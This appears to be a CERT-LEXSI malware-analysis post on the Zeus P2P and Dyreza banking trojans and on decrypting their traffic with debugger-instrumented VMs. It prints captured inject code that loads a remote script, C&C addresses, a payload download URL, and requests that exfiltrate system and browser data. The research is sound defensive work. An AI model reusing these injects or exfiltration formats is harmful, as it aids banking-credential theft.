virusMany malicious binaries use a command and control server centralised on a dedicated domain, which is simple to operate but likely to be shut down by specialised companies like Lexsi or LEAs. Malware authors have been using decentralised network infrastructures for a few years to ensure their botnet will be more resilient, implying the development of new tools to monitor their evolution. CERT-LEXSI is using “lofts” for that purpose, that is to say virtual machines specially configured to decrypt communications in real time and extract banking malware configuration files and look for newly targeted banks.

Zeus P2P configuration in registry

Since the leak of the Zeus source code in May 2011, many variants have been developed, such as Citadel, ICE-IX, Zeus VM, etc. One of these variants, nicknamed Gameover, used a P2P architecture and has been active from the end of 2011 till it was dismantled by LEAs during Operation Tovar in June 2014.

To target French users, Zeus P2P was mainly distributed by spam spoofing French banks and contained an attachment with a French name such as Avis_de_Paiement.zip (Payment_Notice.zip). The attachment downloaded a Zeus P2P binary and executed it. After a few minutes, the infected machine managed to download a configuration file from the P2P network and stored it in HKCUSoftwareMicrosoft in a random key, alongside other relevant items such as a list of active peers.

This configuration may be decrypted in many ways but one easy, still generic method is to spot a string known to appear in the configuration, such as a targeted bank URL, and to record at which offset it appears in memory. After launching the web browser, the string @https://www.mybank.com* may for instance appear at offset 97604573. Determining which instruction caused the decryption of this string is a matter of:

  1. converting the RAM offset into a virtual address
  2. setting a watchpoint on this address
  3. waiting for the malware to stop due to the watchpoint

The strings Volatility plugin is used with the following strings.txt input file:

97604573:@https://www.mybank.com/*

This plugin converts the provided offset into a virtual address in a running process:

$ ./vol.py strings -s strings.txt -f zeusp2p.ram
05d153dd [940:00a223dc] @https://www.mybank.com/*

The pslist plugin states that PID 940 is Internet Explorer which is consistent with our remark above about running the browser. With a watchpoint set on 0x00a223d, the malware stops as expected due to a write on the address and our string in indeed being decrypted (@http):

Hardware watchpoint 15: *0x00a223dc
Old value = <unreadable>
New value = 1952989184
0x0016a51b in ?? ()
(gdb) hexdump 0x00a223dd 16
40 68 74 65 00 67 00 61 00 6c 00 43 00 6f 00 70 |@hte.g.a.l.C.o.p|

This address corresponds to a quite big cryptographic function with the following control flow graph:

zeus_p2p_decrypt

By simply continuing execution until this function returns, the decrypted content is pointed to by ebx. When launching the browser, we first obtain a tiny, almost static configuration:

(gdb) hexdump $ebx 512
!http://*
!https://server.iad.liveperson.net/*
!https://chatserver.comm100.com/*
!https://fx.sbisec.co.jp/*
!https://match2.me.dium.com/*
!https://clients4.google.com/*
!https://*.mcafee.com/*
!https://www.direktprint.de/*
!*.facebook.com/*
!*.myspace.com/*
!*twitter.com/*
!*.microsoft.com/*
!*.youtube.com/*
!*hotbar.com*
[...]

By resuming execution, the binary stops again and provides us with the rest of the configuration file listing targeted banks URLs, with their characters being separated by 0x1c, 0x1d, 0x1e or 0x1f:

(gdb) hexdump $ebx 512
d4 00 00 00 00 00 01 00 cc 00 00 00 01 30 00 80 |.............0..|
8a e3 5f 00 45 52 43 50 c0 00 00 00 11 02 80 00 |.._.ERCP........|
04 00 00 00 00 00 00 00 00 00 6e 03 28 00 00 00 |..........n.(...|
00 00 00 00 00 00 00 00 00 00 00 00 5e 00 94 1a |............^...|
1d 68 1d 74 1d 74 1d 70 1d 73 1d 3a 1d 2f 1d 2f |.h.t.t.p.s.:././|
1d 77 1d 77 1d 77 1d 2e 1d 65 1d 2d 1d 63 1d 6c |.w.w.w...e.-.c.l|
1d 6f 1d 73 1d 69 1d 6e 1d 67 1d 73 1d 65 1d 63 |.o.s.i.n.g.s.e.c|
1d 75 1d 72 1d 65 1d 64 1d 2e 1d 63 1d 6f 1d 6d |.u.r.e.d...c.o.m|
1d 3a 43 07 1d 2f 1d 73 1d 63 1d 72 1d 69 1d 70 |.:C../.s.c.r.i.p|
1d 74 1d 73 1d 2f 1d 73 1d 70 1d 69 1d 69 1d 73 |.t.s./.s.p.i.i.s|
1d 2e 1d 64 1d 6c 1d 6c 1d 2f 1d 69 1d 74 1d 73 |...d.l.l./.i.t.s|
1d 2d 1d 69 1d 74 1d 65 1d 63 1d 2f 1d 69 1d 74 |.-.i.t.e.c./.i.t|
1d 65 1d 63 1d 5f 1d 6c 1d 6f 1d 67 1d 69 1d 6e |.e.c._.l.o.g.i.n|
55 00 94 00 d7 00 00 00 00 00 02 00 78 00 00 00 |U...........x...|
01 30 00 80 8a e3 5f 00 45 52 43 50 6c 00 00 00 |.0...._.ERCPl...|
10 02 80 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |(...............|
5e 00 40 1a 1c 68 1c 74 1c 74 1c 70 1c 73 1c 3a |^.@..h.t.t.p.s.:|
1c 2f 1c 2f 1c 77 1c 77 1c 77 1c 2e 1c 73 1c 74 |././.w.w.w...s.t|
1c 65 1c 72 1c 6c 1c 69 1c 6e 1c 67 1c 77 1c 69 |.e.r.l.i.n.g.w.i|
1c 72 1c 65 1c 73 1c 2e 1c 63 1c 6f 1c 6d 1c 2f |.r.e.s...c.o.m./|
55 00 40 00 57 00 00 00 01 10 00 40 8a e3 5f 00 |U.@.W......@.._.|
45 52 43 50 4b 00 00 00 00 00 80 00 06 00 00 00 |ERCPK...........|
00 00 00 00 49 00 73 00 28 00 00 00 00 00 00 00 |....I.s.(.......|
00 00 00 00 00 00 00 00 5e 00 1f 1c 49 1c 57 1c |........^...I.W.|
50 1c 72 1c 65 1c 53 1c 63 1c 72 1c 69 1c 70 1c |P.r.e.S.c.r.i.p.|
74 1c 2e 1c 6a 1c 73 55 00 1f 00 c5 00 00 00 00 |t...j.sU........|
[...]

When entering a targeted URL in the browser, we obtain its associated inject(s):

(gdb) hexdump $ebx 512
5f 00 00 00 04 00 45 52 43 50 59 00 00 00 06 02 |_.....ERCPY.....|
80 00 06 00 00 00 01 00 00 00 3c 00 3e 02 28 00 |..........<.>.(.|
09 00 01 00 00 00 00 00 00 00 00 00 00 00 00 01 |................|
69 6e 6a 65 63 74 00 5e 00 21 1c 3c 1c 21 1c 44 |inject.^.!.<.!.D|
1c 4f 1c 43 1c 54 1c 59 1c 50 1c 45 3a 0d 1c 3e |.O.C.T.Y.P.E:..>|
5f 00 05 00 01 55 00 05 55 00 21 00 61 74 69 ec |_....U..U.!.ati.|
00 00 00 08 00 3c 73 63 72 69 70 74 20 74 79 70 |.....<script typ|
65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 |e="text/javascri|
70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f |pt" src="https:/|
2f 74 68 65 73 74 61 74 69 73 74 69 63 64 61 74 |/thestatisticdat|
61 2e 62 69 7a 2f 56 57 64 38 6a 66 41 70 47 44 |a.biz/VWd8jfApGD|
2f 3f 47 65 74 69 66 69 6c 65 22 20 69 64 3d 22 |/?Getifile" id="|
4d 61 69 6e 49 6e 6a 46 69 6c 65 22 20 68 6f 73 |MainInjFile" hos|
74 3d 22 74 68 65 73 74 61 74 69 73 74 69 63 64 |t="thestatisticd|
61 74 61 2e 62 69 7a 22 20 6c 69 6e 6b 3d 22 2f |ata.biz" link="/|
56 57 64 38 6a 66 41 70 47 44 2f 3f 62 6f 74 49 |VWd8jfApGD/?botI|
44 3d 24 5f 42 4f 54 5f 49 44 5f 24 26 42 6f 74 |D=$_BOT_ID_$&Bot|
4e 65 74 3d 24 5f 53 55 42 42 4f 54 4e 45 54 5f |Net=$_SUBBOTNET_|
24 26 22 20 68 74 74 70 73 3d 22 74 72 75 65 22 |$&" https="true"|
20 6b 65 79 3d 22 63 4c 61 31 76 64 43 4e 73 63 | key="cLa1vdCNsc|
22 3e 3c 2f 73 63 72 69 70 74 3e 9f fb ac 99 e6 |"></script>.....|

This method can decrypt the configuration file and injects on-demand, but to follow their evolution, a better approach is to directly decipher the network communications.

Real time decryption

After running the binary, the machine becomes a new Gamover P2P network node and many encrypted packets are exchanged before writing the configuration as described above. The network protocol has been documented and can be summed up as:

  • a UDP layer to update the nodes list (IP/port tuples, a hardcoded list is stored in the binary) and ask for the latest configuration and binary versions
  • a TCP layer to download the latest configuration or binary from these nodes
  • an HTTP layer to obtain high-level information from privileged nodes, such as the injects to insert into the current browser page

As far as the UDP layer is concerned, the content is ciphered before being sent by the WS2_32.DLL sendto() function and deciphered just after being received by the recvfrom() function:

zeus_p2p_sendto

By setting a breakpoint just before ciphering and just after deciphering, we obtain the clear text communication and can display it in a human-readable form, whatever encryption is used:

zeus_p2p_udp

These communications show that the configuration file and binary are available on the P2P network in a unified way and don’t depend on a specific sample.

TCP packets are encrypted the same way and their clear text versions can be obtain by setting breakpoints before send() and after recv(). As mentioned above, the communication can be a simple configuration download or HTTP requests to super-nodes. Zeus P2P makes the difference by simply comparing the first few bytes with GET or POST:

zeus_p2p_http

Here is an example of such a request:

POST /write HTTP/1.1
Host: default
Accept-Encoding:
Connection: close
Content-Length: 332
X-ID: 1616

An X-ID header is used to identify the Zeus P2P subnet, hardcoded in the sample. When the victim browses a bank targeted by Zeus P2P, it will download the relevant injects from a privileged node via the HTTP layer, specifying this identifier (followed by the campaign name and the unique bot identifier):

Referer: https://www.mybank.com/scripts/default0.js
Accept: */*
Connection: Close
Accept-Language: fr
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 127.0.0.1:3350
X-ID: 1616=mr26FRp=<botid>

The server responds with the JavaScript code (about 100 ko):

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 28 Mar 2014 15:04:09 GMT
Content-Type: application/javascript; charset=UTF-8
Content-Length: 102831
Connection: close
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
X-BC: fbb32008985d9cff6fb0c1e76d9cdd44 socks 5.135.179.80 515, 82a5
aad577d60e8f9992bfde4961974e vnc 5.135.179.80 515
function(a,b){function ci(a){return d.isWindow(a)?a:a.nodeType===9?
a.defaultView||a.parentWindow:!1}function cf(a){if(!b_[a]){var b=d(
"<"+a+">").appendTo("body"),c=b.css("display");b.remove();if(c==="n
one"||c==="")c="block";b_[a]=c}return b_[a]}function ce(a,b){var c=
{};d.each(cd.concat.apply([],cd.slice(0,b)),function(){c[this]=a});
return c}function b$(){try{return new a.ActiveXObject("Microsoft.XM
LHTTP")}
[...]

For instance, this inject creates an new object in the browser DOM which can be used to detect infected clients browsing the bank web site.

Zeus P2P channel enumeration

By analysing samples with distinct X-ID identifiers, CERT-LEXSI has observed (thanks Florent) that the server didn’t always return the same answer. For example, at the same time, an inject request with identifier 1616 returned a JavaScript code different from the one obtained with identifier 5555. Unlike the configuration, Zeus P2P injects are therefore not unified on the P2P network but depend on the X-ID identifier which can be seen as a channel which attackers deliver their own injects on, each and every on his own, independent channel.

To grab all available injects, it is thus necessary to list all open channels and look for an inject on each of them, for all relevant URLs in the configuration file. The maximum size of the X-ID integer makes it unpractical to perform an exhaustive search; anyway many channels share a kind of pattern, such as 1212, 1515, 1616, 5555 or 6666, allowing to set up a first list of channels observing these patterns.

The layout of all channels can also be enhanced by restricting the integer to a specific segment like [1, N]. The X-ID header is indeed generated by a call to _vsnprintf() with the %u=%s=%s format (channel, campaign name and botid) which we can iterate over when sending the injects queries. We have observed several possible situations:

  • if the channel exists and is active, the response type is application/javascript and it contains the inject
  • if the channel exists but is not active when the test is performed, the response type is application/javascript and the size 0
  • if the channel doesn’t exist, the response type is text/html and the size 0

This method makes it possible to find channels that don’t observe any obvious pattern, such as 105 or 3006, and find potential new injects to better detect infected clients.

Dyreza

Dyreza is downloaded and installed by another malicious malware, Upatre, which is a small binary attached to spams. Like Zeus P2P, the French versions of these spams spoof French banks and the attachment is also called Avis De Paiement.zip. The Upatre sample analysed here uses the CryptStringToBinary() to decode a long Base64 string which is then uncompressed via RtlDecompressBuffer() by format 2 which is LZ in standard compression. This short unpacking phase provides a small (4.5 kB) original binary. It specifies a Mazilla/5.0 user-agent before downloading a file which is 407 410 bytes in size:

dyreza_wireshark

After a XOR decoding, this content is interpreted as a shellcode. It also calls RtlDecompressBuffer() with format 0x102 which is LZ in maximum compression, to uncompress a 406 596 byte blob into in 574 976 byte PE. Its resource named EXE1 contains the Dyreza executable (506 kB). Once unpacked, Dyreza injects itself into a legitimate Windows process:

  1. it calls CreateFileMapping() and MapViewOfFile() to create a read/write/execute area whose content is copied from one of its PE resources (about 100 kB)
  2. this area is mapped in the targeted legitimate process (ex: svchost.exe) via ZwMapViewOfSection()
  3. it calls ZwQueueApcThread() to run a new thread from this area in the context of the remote process (this method is also used by Carberp and ZeroAccess)

This code uncompresses and executes a DLL which contacts different STUN services to determine the state of the network connection:

  • No NAT
  • Full Cone NAT
  • UDP Firewall
  • Port restricted NAT
  • Address restricted NAT
  • Symmetric NAT
  • unknown NAT

Dyreza is likely to use these services to assess the “quality” of the infected node network connection: a node which is directly accessible from the Internet is indeed more interesting from the attacker’s point of view, for example if this node is to be used as a privileged proxy.

All subsequent communications use SSL and the loft aims at deciphering them in real time. Once the injected DLL original entry point address is known in the context of the injected process, analysing the binary shows it is enough to set the following breakpoints:

  • InternetConnect(): the 2nd argument points to the remote server, the 3rd to the port used
  • HttpOpenRequest(): the 3rd argument points to the requested URL (2 watchpoints: GET or POST request)
  • InternetWriteFile(): the 2nd argument points to data to be transmitted to the server (POST requests, several consecutive calls possible)
  • InternetReadFile(): the 2nd argument points to the server response (several consecutive calls possible)
  • server response handling function
  • if the response in encrypted, end of the decryption function (determined in the same way as Zeus P2P)

Concerning these two last points, the server answers are generally encrypted inside the SSL stream, but are sometimes in clear text for some messages, such as the following example were the server sends back a URL to download a file from:

/41/1803uk11/<botid>/njgrlTSPmmSalveoVNCaRvGevEKAKuS/2378665/
http://85.17.75.206/ml1from1.tar

Here is an extract of our Python script for GDB retrieving the remote server and port when calling InternetConnect():

import gdb

class Dyreza(gdb.Breakpoint):
    def __init__(self, spec):
        super(Dyreza, self).__init__(spec, gdb.BP_BREAKPOINT)

    def stop(self):
        eip = long(gdb.parse_and_eval("$eip").cast(gdb.lookup_type("int").pointer())) & 0xffffffff

        if eip == INTERNETCONNECT:
            port = long(gdb.parse_and_eval("$esp+8").cast(gdb.lookup_type("int").pointer()).dereference()) & 0xffffffff

            server_addr = long(gdb.parse_and_eval("$esp+4").cast(gdb.lookup_type("int").pointer()).dereference()) & 0xffffffff
            server = ""
            byte = None
            while byte != chr(0):
                byte = str(gdb.selected_inferior().read_memory(server_addr, 1))
                server += byte
                server_addr += 1
                print "Connexion vers %s:%i" % (server[:-1], port)
[...]
Dyreza("*0x%x" % INTERNETCONNECT)

Our loft provides us with the following information:

  • before any network communication, decryption of the campaign identifier, an I2P link and a list of C&C servers:
    1803uk11
    nhgyzrn2p2gejk57wveao5kxa7b3nhtc4saoonjpsy65mapycaua.b32.i2p:443
    91.242.52.192:443
    91.238.74.70:443
    95.67.88.84:4443
    91.196.99.217:443
    [...]
  • connection attempt to one of the servers above:
    GET /1803uk11/<botid>/5/spk/<external IP>/
  • sending the Windows version (ex: Win_XP_32bit, Win_7_SP1_32bit, etc). 1117 seems to be an incremental Dyreza binary version and not a channel a la Zeus P2P, we have seen 1105 for a campaign dated on 19/02 and 1116 for a campaign dated on 17/03. The answer contains a small part of the configuration:
    GET /1803uk11/<botid>/0/<version windows>/1117/<external IP>/
    
    <datapost>
    <dpsrv>
    95.211.199.30:443
    </dpsrv>
    </datapost>
    <modules>
    <modsrv>
    212.56.214.203:443
    </modsrv>
    </modules>
    <commands>
    <csrv>
    1.2.3.4:443
    </csrv>
    </commands>
  • asking for the first big part of the configuration:
    GET /1803uk11/<botid>/5/httprex/<external IP>/
    
    <serverlist>
    <server>
    <sal>srv_name</sal>
    <saddr>37.187.127.157:443</saddr>
    </server>
    </serverlist>
    <localitems>
    <litem>
    cashproonline.bankofamerica.com/AuthenticationFrameworkWeb/cpo/login/public/loginMain.faces*
    cashproonline.bankofamerica.com/*
    dlufblyfbjnwxnbdetvjoz12081.com
    srv_name
    </litem>
    <litem>
    businessaccess.citibank.citigroup.com/cbusol/signon.do*
    businessaccess.citibank.citigroup.com/*
    ntuamvpofvvqwrslquultyppoxqp12181.com
    srv_name
    </litem>
    <litem>
    www.bankline.natwest.com/CWSLogon/logon.do*
    www.bankline.natwest.com/*
    rmknwwzbdxetnqu12281.com
    srv_name
    </litem>
    [...]
  • asking for the second big part of the configuration::
    GET /1803uk11/<botid>/5/respparser/<external IP>/
    
    <rpci>
    */onlineserv/CM*
    195.154.241.146:80/handler12191.php
    </rpci>
    <rpci>
    */onlineserv/CM/favicon.ico[?]*
    195.154.241.146:80/handler12191.php
    </rpci>
    <rpci>
    */wcmfd/wcmpw/CustomerLogin*
    195.154.241.146:80/handler12291.php
    </rpci>
    [...]
  • downloading a binary (ex: information stealing in Firefox):
    GET /1803uk11/<botid>/5/wg32/<external IP>/
  • sending the NAT status:
    GET /1803uk11/<botid>/14/NAT/Port restricted NAT/0/<external IP>/
  • sending the user name:
     GET /1803uk11/<botid>/14/user/SYSTEM/0/<external IP>/
  • sending general information about the infected system:
    POST /1803uk11/<botid>/63/generalinfo/<external IP>/
    
    Content-Type: multipart/form-data; boundary=eEJUGnxSMsLXtKxbound-2437046
    Content-Length: 11723
    Accept: text/html
    Connection: Keep-Alive
    
    --eEJUGnxSMsLXtKxbound-2437046
    Content-Disposition: form-data; name="noname"
    Content-Type: text/plain; charset=UTF-16
    
    ==General==
    [...]
    ==Users==
    [...]
    ==Programs==
    AddressBook
    OutlookExpress
    [...]
    ==Services==
    Browser
    [...]
    --eEJUGnxSMsLXtKxbound-2437046--
  • sending information about web browsers (history, cookies, etc):
    POST /1803uk11/<botid>/63/browsnapshot/<external IP>/
    
    Content-Type: multipart/form-data; boundary=xcJsICFVmjrTgCGbound-876850
    Content-Length: 6983
    Accept: text/html
    Connection: Keep-Alive
    
    --xcJsICFVmjrTgCGbound-876850
    Content-Disposition: form-data; name="noname"
    Content-Type: application/octet-stream
    
    Service Pack 1
    Paris, Madrid (heure d'été)
    Mozilla Firefox 32.0.1 (x86 fr)
    Internet Explorer 8.0.7601.15174
    google.fr
    bing.com
    mozilla.org
    msn.com
    [...]

On 17/03, we have also observed a Dyreza update (562 kB) being propagated:

GET /1703upd.tar

0000000: 08c4 0800 0800 0000 0000 0000 4d5a 9000 ............MZ..
0000010: 0300 0000 0400 0000 ffff 0000 b800 0000 ................
0000020: 0000 0000 4000 0000 0000 0000 0000 0000 ....@...........
0000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000040: 0000 0000 0000 0000 0001 0000 0e1f ba0e ................
0000050: 00b4 09cd 21b8 014c cd21 5468 6973 2070 ....!..L.!This p
0000060: 726f 6772 616d 2063 616e 6e6f 7420 6265 rogram cannot be
0000070: 2072 756e 2069 6e20 444f 5320 6d6f 6465 run in DOS mode
[...]

When launching a browser (Internet Explorer, Firefox and Chrome are currently supported), the original code injected into the legitimate Windows process creates a new thread in this browser with CreateRemoteThread(). It deciphers a DLL which communicates with the original thread via a named pipe; the following commands are implemented over this pipe so that the new thread can generate requests containing every required field:

  • btid: to retrieve the botid
  • slip: to retrieve the external IP
  • btnt: to retrieve the campaign name (looks like botnet but doesn’t seem to be a channel in the Zeus P2P way, this post may be updated if more information is available)
  • ccsr: to retrieve the current C&C (IP:port)
  • dpsr: to retrieve the dpsrv field of the configuration
  • rpls: to retrieve the first big part of the configuration (from <serverlist> to </localitems>)
  • rspp: to retrieve the second big part of the configuration

Dyreza disables the Trusteer Rapport security solution by patching a few bytes in memory, whereafter it hooks several functions to access the legitimate requests in clear text. In the case of Firefox, it hooks PR_Write() and PR_Read() via a simple JMP to PUSH/RET so as to access HTTP requests and responses in clear text:

(gdb) x/3i 0x01d94539 //before
0x1d94539: mov eax,DWORD PTR [esp+0x4]
0x1d9453d: push DWORD PTR [esp+0xc]
0x1d94541: push DWORD PTR [esp+0xc]

(gdb) x/1i 0x01d94539 //after
0x1d94539: jmp 0x1890008

(gdb) x/2i 0x1890008
0x1890008: push 0x347040
0x189000d: ret

Once the address where this DLL is mapped in the address space of the browser is known, breakpoints can be set as described previously in order to decipher the communications performed by this second malicious thread. As an example, we observed that when sending a request to its C&C, the thread inserts the following HTTP headers to give the remote server the context (external IP, campaign identified and botid) in which the request takes place:

X-Forwarded-For: <external IP>
TimestampVal: 1803uk11 <botid>

Conclusion

Some malware families use a decentralised network architecture whose study is made easier by using “lofts” deciphering their communication in real time. For example, such a loft set up for Dyreza by CERT-LEXSI was able to detect in real time that several French banks have been added to the configuration file during the week of 23/03.